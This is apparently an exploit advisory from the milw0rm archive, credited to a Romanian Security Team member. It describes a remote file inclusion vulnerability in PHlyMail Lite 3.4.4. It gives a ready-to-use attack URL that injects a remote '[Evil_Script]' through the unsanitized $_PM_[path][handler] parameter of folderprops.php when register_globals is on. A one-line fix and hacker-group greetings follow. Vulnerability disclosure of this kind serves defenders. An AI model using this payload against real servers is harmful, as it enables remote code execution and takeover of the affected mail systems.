[RST] PHlyMail Lite <= 3.4.4 (Build 3.04.04) RFI

[Guest Nemessis]

http://www.milw0rm.com/exploits/2236

---------------------------------------------------------------------------

PHlyMail Lite <= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability [2]

---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://rstcenter.com :

Remote : Yes

Critical Level : Dangerous

---------------------------------------------------------------------------

Affected software description :

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PHlyMail Lite

version : v. 3.4.4 (Build 3.04.04)

URL : http://phlymail.de/

------------------------------------------------------------------

Exploit:

~~~~~~~

Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script]

---------------------------------------------------------------------------

Solution :

~~~~~~~~~

declare variabel $_PM_[path][handler]

---------------------------------------------------------------------------

Shoutz:

~~~~~

# Special greetz to my good friend [Oo]

# To all members of h4cky0u.org and RST [ hTTp://rstcenter.com ]

---------------------------------------------------------------------------

*/